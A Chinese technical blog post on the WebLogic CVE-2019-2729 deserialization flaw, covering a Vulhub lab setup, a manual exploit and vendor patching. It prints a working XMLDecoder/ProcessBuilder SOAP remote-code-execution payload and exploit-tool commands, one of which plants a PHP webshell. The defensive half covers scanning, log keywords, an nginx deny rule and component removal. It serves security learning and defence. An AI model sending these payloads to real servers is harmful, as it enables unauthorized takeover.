WebLogic CVE-2019-2729漏洞实战:从复现到修复的完整指南

weblogic 反序列化 (CVE-2019-2729)复现 @[TOC](weblogic 反序列化 (CVE-2019-2729)) weblogic 反序列化 (CVE-2019-2729) 0x01 漏洞描述 Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。 CVE-2019-2729漏洞是对CVE-2019-2725漏洞补丁进行绕过,形成新的漏洞利用方式,属于CVE-2019-2725漏洞的 阅读详情

WebLogic CVE-2019-2729漏洞深度剖析:从环境搭建到实战修复的完整手册

最近在整理内部安全资产时,我又一次遇到了那个熟悉的名字——WebLogic。作为一款承载了无数企业核心应用的老牌中间件,它在历史长河中留下的安全印记,总是能让安全工程师们心头一紧。CVE-2019-2729,这个编号对于经历过那段时期应急响应的人来说,几乎等同于一次深夜的紧急电话。它不仅仅是CVE-2019-2725的一个补丁绕过,更是一次对当时安全防护体系的严峻考验。今天,我想抛开那些千篇一律的复现脚本,从一个实战工程师的视角,和你一起重新拆解这个漏洞。我们会从最基础的环境搭建开始,一步步深入到漏洞原理的骨髓,最后探讨那些真正能在生产环境中落地的修复与防护策略。这篇文章适合那些不仅想知道“怎么利用”,更想明白“为什么能利用”以及“如何从根本上防御”的安全研究员和系统管理员。

1. 漏洞背景与核心原理深度解析

要真正理解CVE-2019-2729,我们不能把它当作一个孤立的漏洞来看待。它的故事始于它的“前身”——CVE-2019-2725。2019年4月,Oracle发布了关键补丁更新,修复了WebLogic Server中一个严重的反序列化漏洞(CVE-2019-2725)。这个漏洞存在于wls9_async_response.war和wls-wsat.war这两个Web服务组件中,攻击者可以通过向特定的异步服务端点(如/_async/AsyncResponseService)发送精心构造的XML载荷,触发Java反序列化过程,从而在目标服务器上执行任意代码。

然而,安全社区很快发现,官方补丁存在缺陷,可以通过构造特定的XML元素绕过其防护机制,这就是CVE-2019-2729的由来。本质上,这是一个“补丁绕过”漏洞,而非一个全新的漏洞。它再次印证了安全领域的一个铁律:修复漏洞时,如果只堵住了攻击者当前使用的路径,而没有从根本上解决漏洞产生的根源,那么新的攻击路径很快就会出现。

漏洞的核心原理,在于WebLogic对XML数据反序列化处理时的逻辑缺陷。当HTTP请求到达wls9_async_response或wls-wsat组件时,组件会解析请求中的XML数据。攻击者可以在XML中嵌入经过序列化的Java对象。由于服务端在反序列化这些对象时,没有进行严格的白名单校验或类型安全检查,导致攻击者可以加载并执行恶意类。

注意:这里提到的“反序列化”,指的是将字节流或特定格式(如XML)的数据,还原成内存中的Java对象的过程。如果这个过程可控,攻击者就能“注入”一个恶意的对象。

受影响的组件路径非常固定,这为我们后续的排查和防护提供了明确的切入点:

组件名称默认部署路径漏洞触发URL示例
wls9_async_response.war$DOMAIN_HOME/servers/AdminServer/tmp/_WL_internal/http://target:7001/_async/AsyncResponseService
wls-wsat.war$DOMAIN_HOME/servers/AdminServer/tmp/_WL_internal/wls-wsat/http://target:7001/wls-wsat/CoordinatorPortType

影响的范围主要集中在几个特定的WebLogic版本上,包括10.3.6.0.0、12.1.3.0.0以及12.2.1.3.0。如果你管理的环境正在使用这些版本,并且上述组件处于启用状态,那么就需要立刻提高警惕。

2. 搭建安全的漏洞研究与复现环境

在真正动手复现之前,搭建一个隔离、可控的实验室环境是至关重要的第一步。我强烈反对任何在非授权或生产环境中的测试行为。这里,我将分享两种我最常用的环境搭建方法:一种是使用现成的漏洞靶场,快速上手;另一种是手动搭建完整的WebLogic环境,这对于深入理解中间件配置和漏洞上下文非常有帮助。

方法一:使用集成化漏洞靶场(推荐初学者)

对于希望快速验证漏洞存在性或进行工具测试的同行,使用预构建的漏洞靶场是最便捷的选择。vulfocus、Vulhub等开源项目都提供了开箱即用的CVE-2019-2729环境。

以Docker方式启动一个Vulhub环境为例:

# 1. 拉取Vulhub项目代码
git clone https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2019-2729

# 2. 启动漏洞环境
docker-compose up -d

# 3. 查看容器运行状态及映射端口
docker-compose ps

执行后,你通常会看到WebLogic服务运行在本地某个端口(如8080)。此时,访问 http://your-local-ip:8080 就能看到WebLogic控制台(如果未设密码可能无法登录,但这不影响漏洞复现)。靶场的核心价值在于,它已经配置好了存在漏洞的组件,我们可以直接针对漏洞端点进行测试。

方法二:手动搭建WebLogic测试环境(适合深度研究)

如果你想更清晰地观察漏洞触发的全过程,包括组件的部署状态、日志变化等,手动搭建环境是更好的选择。这个过程稍显繁琐,但收获也更大。

  1. 下载受影响的WebLogic版本:从Oracle官网下载WebLogic 10.3.6.0.0的安装包(通常是一个.jar文件)。你需要一个Oracle账户。
  2. 静默安装:在Linux测试机(如CentOS 7)上,使用命令行进行静默安装,避免图形界面依赖。
    java -jar wls1036_generic.jar -mode=silent -silent_xml=/path/to/your_silent.xml
    
    其中silent.xml是包含了安装路径、JDK位置等配置的响应文件。
  3. 创建域(Domain):使用WebLogic自带的配置向导(config.sh)或WLST脚本创建一个新的开发域。确保在配置过程中,不要禁用“Web服务高级测试”或相关异步服务组件(这些正是漏洞组件)。
  4. 启动与管理:进入域目录下的bin文件夹,执行./startWebLogic.sh启动服务。通过http://host:7001/console访问控制台。

在手动搭建的环境中,你可以随时查看服务器的日志文件(位于$DOMAIN_HOME/servers/AdminServer/logs/),这对于分析漏洞利用是否成功、为何失败至关重要。

提示:无论采用哪种方式,请务必在虚拟机或独立的物理机中完成所有操作,确保测试网络与公司内部网络或互联网完全隔离。这是安全研究的基本伦理和底线。

3. 漏洞利用过程的手动分析与工具实战

有了环境,我们就可以开始“解剖”漏洞了。我习惯将利用过程分为两个阶段:首先是手动发送恶意请求,直观理解攻击载荷的结构;然后再使用自动化工具,验证利用的稳定性和扩展性。

阶段一:手动构造与发送攻击请求

漏洞利用的关键在于向特定端点发送一个包含恶意序列化对象的SOAP消息。我们可以使用curl命令或Burp Suite这类代理工具来手动完成。

  1. 定位漏洞端点:在浏览器或使用curl访问 http://target:7001/_async/AsyncResponseService。如果返回一个包含“WSAT”或“AsyncResponseService”相关信息的页面(而非404),则说明该组件存在,可能存在漏洞。
  2. 构造恶意SOAP请求:攻击载荷是一个符合特定格式的XML。核心是在<work:WorkContext>标签内,嵌入一个经过序列化的java.lang.ProcessBuilder对象。这个对象在反序列化时,会执行我们指定的系统命令。 一个简化的攻击请求结构如下:
    POST /_async/AsyncResponseService HTTP/1.1
    Host: target:7001
    Content-Type: text/xml
    SOAPAction: ""
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header/>
      <soapenv:Body>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java version="1.8.0" class="java.beans.XMLDecoder">
            <void class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>/bin/bash</string>
                </void>
                <void index="1">
                  <string>-c</string>
                </void>
                <void index="2">
                  <string>whoami</string>
                </void>
              </array>
              <void method="start"/>
            </void>
          </java>
        </work:WorkContext>
      </soapenv:Body>
    </soapenv:Envelope>
    
    这个载荷会尝试在目标服务器上执行whoami命令。你可以将whoami替换为任何其他系统命令。
  3. 发送并观察结果:将上述请求发送到目标。如果漏洞存在且利用成功,命令将会执行。但需要注意的是,由于这是一个异步服务,HTTP响应本身可能不会直接包含命令执行的结果(如回显)。我们需要通过其他方式验证,例如执行一个sleep 10命令并观察服务器响应时间,或者让目标服务器向外发起一个网络连接(DNS请求、HTTP请求到我们控制的服务器)。

手动复现能让你清晰地看到攻击的本质:它就是一个特殊的、被精心设计过的“数据包”。防火墙如果只检查端口和协议,而对这种“合法”SOAP消息体内的恶意内容毫无察觉,攻击就会轻易得逞。

阶段二:使用自动化利用工具

手动构造对于理解原理有帮助,但在实际渗透测试或验证中,我们更倾向于使用成熟的工具。GitHub上存在多个针对CVE-2019-2729的利用工具,它们通常能自动处理载荷生成、命令执行和结果回显(或反弹shell)。

以一款常见的Python工具为例,其基本用法非常直观:

# 查看工具帮助,了解所有参数
python3 CVE-2019-2729-Exploit.py -h

# 测试漏洞是否存在,执行一个简单的命令(如id)
python3 CVE-2019-2729-Exploit.py -u http://192.168.1.100:7001 -c "id"

# 尝试写入一个Webshell(需知路径有写权限)
python3 CVE-2019-2729-Exploit.py -u http://192.168.1.100:7001 -c "echo '<?php @eval(\$_POST[cmd]);?>' > /tmp/webroot/shell.php"

在使用这些工具时,你可能会遇到一些典型问题:

  • 命令执行无回显:这是异步漏洞的常见特点。工具可能会尝试通过dnslog.cn这类外带通道,或者通过将命令输出写入一个临时文件再通过HTTP访问该文件的方式来获取结果。
  • 执行权限问题:WebLogic默认以某个特定用户(如oracle、weblogic)身份运行,该用户可能权限较低,无法执行某些操作或写入某些目录。
  • 网络限制:目标服务器可能无法访问外网,导致无法反弹shell或进行DNS外带。

注意:公开的漏洞利用工具可能被植入后门或恶意代码。在运行任何从互联网下载的渗透测试工具前,请务必在隔离环境中审查其源代码,这是对自己和所在企业负责。

4. 从防御视角:漏洞检测、修复与加固全方案

复现漏洞是为了更好地防御它。作为一名系统管理员或安全工程师,我们的终极目标是在攻击者之前发现并封堵这些安全缺口。下面,我将从检测、修复、加固三个层面,提供一套完整的应对方案。

4.1 漏洞检测与排查

在应急响应或日常巡检中,如何快速判断自己的WebLogic服务器是否受此漏洞影响?

  1. 版本与组件检查:
    • 登录WebLogic控制台,在“环境” -> “服务器” -> “服务器概要”中查看版本信息。
    • 检查$DOMAIN_HOME/config/config.xml文件,搜索wls9_async_response和wls-wsat,看它们是否被部署。
    • 直接通过HTTP访问漏洞URL,看是否存在对应的服务端点。可以使用简单的脚本批量扫描:
      #!/bin/bash
      target=$1
      for port in 7001 8001 9001; do # 常见管理端口
          echo "Checking $target:$port ..."
          curl -s -m 5 "http://$target:$port/_async/AsyncResponseService" | grep -i "async\|wsat" && echo "[!] Potential vulnerability at $target:$port"
          curl -s -m 5 "http://$target:$port/wls-wsat/CoordinatorPortType" | grep -i "wsat\|coordinator" && echo "[!] Potential vulnerability at $target:$port"
      done
      
  2. 使用专业漏洞扫描器:Nexpose、Nessus、OpenVAS等商业或开源扫描器都具备该漏洞的检测插件。定期进行漏洞扫描是安全运维的基础。
  3. 日志分析:检查WebLogic服务器日志($DOMAIN_HOME/servers/AdminServer/logs/access.log 和 $DOMAIN_HOME/servers/AdminServer/logs/AdminServer.log),寻找对/_async/AsyncResponseService或/wls-wsat/CoordinatorPortType的大量异常请求,特别是包含XMLDecoder、ProcessBuilder等关键词的POST请求。

4.2 官方修复方案

最直接的修复方式是应用Oracle官方发布的补丁。

  1. 确定补丁号:针对CVE-2019-2729,Oracle在2019年7月的关键补丁更新中进行了修复。你需要根据你的WebLogic具体版本,查找对应的补丁编号(Patch Number)。
  2. 下载与安装:通过Oracle Support账号下载补丁文件(通常是.jar或.zip格式)。安装过程一般是通过WebLogic自带的OPatch工具完成。
    # 进入OPatch目录
    cd $MW_HOME/OPatch
    # 应用补丁
    ./opatch apply /path/to/patch/file
    
  3. 验证补丁:应用补丁后,务必重启WebLogic域,然后再次访问漏洞URL或使用扫描器验证漏洞是否已修复。

4.3 临时缓解与安全加固措施

在无法立即安装补丁的紧急情况下,或者作为补丁之外的深度防御,可以采取以下立即可行的缓解措施:

  • 删除或禁用漏洞组件:这是最有效、最彻底的临时方案。直接删除对应的WAR包文件。
    # 找到WAR包位置并删除(请先备份!)
    rm -f $DOMAIN_HOME/servers/AdminServer/tmp/_WL_internal/wls9_async_response*
    rm -f $DOMAIN_HOME/servers/AdminServer/tmp/_WL_internal/wls-wsat*
    
    删除后,需要重启WebLogic服务器。你也可以在控制台的“部署”页面中,找到这两个应用并将其状态改为“不活动”。
  • 网络层访问控制:在防火墙或WebLogic服务器前端的代理(如Nginx、Apache)上,配置规则,禁止外部访问漏洞路径。 Nginx配置示例:
    location ~ ^/(_async|wls-wsat)/ {
        deny all;
        return 404;
    }
    
  • 升级到不受影响的版本:长期来看,将WebLogic升级到已修复该漏洞的更高版本(如12.2.1.4.0及以上)是根本解决之道。
  • 实施最小权限原则:确保运行WebLogic的操作系统用户权限被严格限制,避免使用root或管理员账户运行。这样即使被攻破,攻击者能造成的破坏也有限。
  • 部署运行时应用自我保护(RASP)或Web应用防火墙(WAF):现代安全产品可以识别和阻断恶意的反序列化载荷。为WAF配置相应的规则,拦截包含可疑Java类名(如XMLDecoder、ProcessBuilder)的SOAP请求。

安全是一个持续的过程,而非一次性的任务。修复了CVE-2019-2729,还需要关注WebLogic后续的其他漏洞,并建立起包括资产清点、漏洞管理、补丁更新、配置加固在内的完整安全运维体系。每一次应急响应,都应该是我们优化这个体系、提升整体安全水位的机会。

WebLogic CVE-2019-2729漏洞深度解析:XMLDecoder反序列化原理与热修复 XMLDecoder是JavaBeans规范中用于对象图反序列化的标准组件,其本质并非普通XML解析器,而是具备完整Java代码执行能力的运行时引擎。当WebLogic等中间件在SOAP异步处理(_async接口)中未经沙箱限制直接调用XMLDecoder时,攻击者可通过构造恶意XML触发任意命令执行,形成高危反序列化漏洞。该机制不依赖第三方库,绕过传统WAF检测能力强,影响WebLogic 10.3.6/12.1.3等广泛使用的JDK 6/7/8环境。技术价值在于暴露了企业级Java中间件对基础类库权限管 阅读详情

相关推荐

WebLogic CVE-2019-2729反序列化漏洞:原理、复现与修复实战

Java反序列化是Java安全领域的核心概念,其原理在于将对象状态转换为字节流进行传输或存储,并在接收端重建对象。这一机制在远程调用、缓存和持久化等场景中广泛应用,但若反序列化过程未对输入数据做严格校验,攻击者便可构造恶意序列化数据,触发任意代码执行,形成高危安全漏洞。从技术价值看,理解反序列化漏洞有助于构建纵深防御体系,是保障Java中间件安全的关键。在企业级应用场景中,Oracle WebLogic等主流中间件常因此类漏洞面临远程攻击风险。本文以CVE-2019-2729这一经典反序列化漏洞为例,深入剖

weixin_33783283的博客 290

Weblogic反序列化漏洞(CVE-2019-2729)

漏洞简述 CVE-2019-2729漏洞是由于应用在处理反序列化输入信息时存在缺陷,攻击者可以通过发送精心构造的恶意 HTTP 请求,用于获得目标服务器的权限,并在未授权的情况下执行远程命令,最终获取服务器的权限。与CVE-2019-2725漏洞类似。 漏洞编号:CVE-2019-2725 影响版本:10.3.6.0、12.1.3.0、12.2.1.3 测试环境:Linux || vulhub || Weblogic 10.3.6.0 复现开始 PoC攻击脚本: https://git

weixin_41182861的博客 4702

WebLogic CVE-2019-2729:WS-AT组件XXE与反序列化组合RCE漏洞深度解析

WebLogic作为企业级Java应用服务器,其安全机制依赖于XML解析、Web服务组件和反序列化控制的协同防护。当XML外部实体(XXE)处理逻辑存在缺陷,叠加WS-AT事务协调组件对用户输入的不当反序列化(如通过XMLDecoder加载BadAttributeValueExpException链),便可能绕过身份验证触发远程代码执行。该漏洞不依赖T3协议,仅需标准HTTP POST访问/wls-wsat/CoordinatorPortType端点,具备零点击、无交互、高权限特征,是典型的‘Web服务层R

weixin_30314793的博客 653

第16篇:Weblogic 2019-2729反序列化漏洞绕防护拿权限的实战过程

Part1前言大家好,我是ABC_123。前两期分享了《第14篇:Struts2框架下Log4j2漏洞检测方法分析与总结》、《第15篇:内网横向中windows各端口远程登录哈希传递的方法总结》,本期讲解一个Weblogic拿权限案例。最近安服的同事打比赛,给我陆续发了好几个没有拿下来的Weblogic的站点,一直在想尽各种办法研究,争取拿下权限。各种WAF防护、终...

ABC_123的技术博客 2891

WebLogic反序列化漏洞CVE-2019-2729:从补丁绕过到纵深防御实战

Java反序列化是将字节流还原为对象的核心机制,其安全风险在于攻击者可控制序列化数据,诱导应用执行危险代码。这一原理常被利用于远程代码执行,技术价值在于理解该机制有助于构建更安全的应用程序。在Web服务场景中,SOAP端点处理XML数据时若缺乏严格校验,便成为反序列化漏洞的常见入口。本文聚焦于WebLogic的wls-wsat组件,剖析CVE-2019-2729如何通过组合Apache Commons Collections库中的InstantiateTransformer等类,绕过针对前序漏洞CVE-20

weixin_33951761的博客 446

WebLogic反序列化漏洞(CVE-2019-2729)实战分析与防御策略

本文深入剖析了WebLogic反序列化漏洞CVE-2019-2729的成因、影响与防御。该漏洞源于wls9-async组件在处理XML数据时未严格校验,导致攻击者可绕过补丁执行任意代码。文章提供了影响范围自查、漏洞复现方法,并重点阐述了包括安装官方补丁、禁用非必要组件、强化网络隔离在内的纵深防御策略,帮助管理员有效应对此类高危风险。

weixin_29285605的博客 319

WebLogic CVE-2019-2729漏洞深度剖析:从XML反序列化原理到企业级防御实战

XML反序列化是Java应用中常见的数据交换机制,它允许将XML格式的数据流还原为内存中的Java对象。其核心原理在于利用Java反射机制,根据XML标签动态构建对象实例、调用方法或设置属性。这项技术虽然为分布式事务、服务间通信提供了便利,但若缺乏严格校验,攻击者便可构造恶意XML载荷,通过危险类(如ProcessBuilder、URLClassLoader)的实例化,在目标服务器上实现远程代码执行,对系统安全构成严重威胁。在Web服务、中间件集成等应用场景中,此类漏洞常出现在SOAP协议处理、工作上下文传

weixin_28607671的博客 323

WebLogic反序列化漏洞CVE-2019-2729深度解析:绕过补丁的新攻击方式

本文深度解析了WebLogic反序列化漏洞CVE-2019-2729,该漏洞本质上是针对CVE-2019-2725补丁的一次精妙绕过。文章详细阐述了其技术原理、攻防演进过程,并提供了实战环境搭建、漏洞验证及深入利用的完整指南,最后给出了从紧急处置到根本性加固的全面防御策略。

weixin_29232121的博客 537

WebLogic CVE-2019-2729反序列化漏洞剖析:从补丁绕过到防御实践

反序列化漏洞是Java中间件最棘手的安全难题之一,攻击者无需认证即可构造恶意数据触发远程命令执行。WebLogic的XMLDecoder组件在解析XML对象图时缺乏严格语义校验,导致CVE-2019-2729成为CVE-2019-2725补丁绕过后的又一次爆发。理解这类问题的本质,需要从反序列化原理、XML到反射调用的映射机制以及黑名单修复的天然局限入手。本文面向安全研究员、运维人员和技术管理者,梳理漏洞成因、攻击链构造、环境复现与流量检测方法,并结合WebLogic异步消息服务场景给出删包、网络隔离、补丁

weixin_29324877的博客 257

WebLogic反序列化漏洞CVE-2019-2729:手把手教你搭建靶场环境

本文详细解析了Oracle WebLogic Server的CVE-2019-2729反序列化漏洞,这是一个针对CVE-2019-2725补丁的绕过漏洞。文章提供了从零开始搭建漏洞靶场的两种实战方案(Docker与虚拟机),并深入剖析了漏洞原理、手工检测与利用方法,以及工具化复现的步骤,旨在帮助安全研究人员深入理解Java反序列化漏洞的机制与防御策略。

weixin_29199873的博客 493

复现nuclei——CVE-2019-2729(Weblogic反序列化远程代码执行漏洞)

一、漏洞介绍 该漏洞是由wls9-async组件导致,在反序列化处理输入信息时存在缺陷,攻击者可以在/_async/AsyncResponseService路径下传入恶意的XML格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,进而攻击者可以获得整台服务器的权限。 二、影响版本 WebLogic 10.X WebLogic 12.1.3 三、漏洞检测方法 法一:访问http://youip:7001/_async/(返回403说明存在,返回404说明不存在)

记录并分享学习安全的知识点.. 3508

CVE-2019-2729反序列化(unserialize)漏洞学习与分析

CVE-2019-2729反序列化(unserialize)漏洞学习与分析

缘友一世的博客 950

Weblogic:Weblogic CVE-2019-2725 CVE-2019-2729 Getshell命令执行

weblogic CVE-2019-2725 CVE-2019-2729 POC 执行命令并回显 usage: 单个目标 python3 weblogic_get_webshell.py http://url 批量目标,将批量url放入url_list.txt python3 weblogic_get_webshell.py all

Weblogic任意文件上传漏洞(CVE-2018-2894)漏洞复现(基于vulhub)

这个任意文件上传CVE-2018-2894漏洞,Oracle公司在7月份修复,需要我们自己手动配置才可以进行漏洞测试,所以这就需要我们拿到weblogic网站的登录账号密码,这里很多网站其实在实际中,都是默认密码的存在,所以可以通过一些工具进行测试下。这个漏洞利用vulhub复现下来,没什么难度,新手也是完全ok的,平常一些护网面试啥的经常会问Java相关的漏洞问题,就比如weblogic漏洞。

人若无名,便可专心练剑 3725

weblogic反序列化漏洞(绕过CVE-2019-2725)-检测POC .txt

weblogic反序列化漏洞(绕过CVE-2019-2725)-检测POC .网上几乎没有,请珍惜。

weblogic cve_2019_2729.rar

Oracle WebLogic Server Patch Set Update 10.3.6.0.190716 README ============================================================== This README provides information about how to apply Oracle WebLogic Server Patch Set Update 10.3.6.0.190716. It also provides information about reverting to the original version. Released: July, 2019 Smart Update Details of Oracle WebLogic Server Patch Set Update 10.3.6.0.190716 -------------------------------------------------------------------------- Patch ID - MXLE Patch Number - 29633432 Preparing to Install Oracle WebLogic Server Patch Set Update 10.3.6.0.190716

上一篇: DS1302时钟芯片与LCD1602联调实战:从硬件接线到代码调试全记录
下一篇: Vue3项目实战:Jessibuca播放器从零配置到直播流播放(附常见问题解决)
dog123
博客等级 码龄19年 78粉丝 1219原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值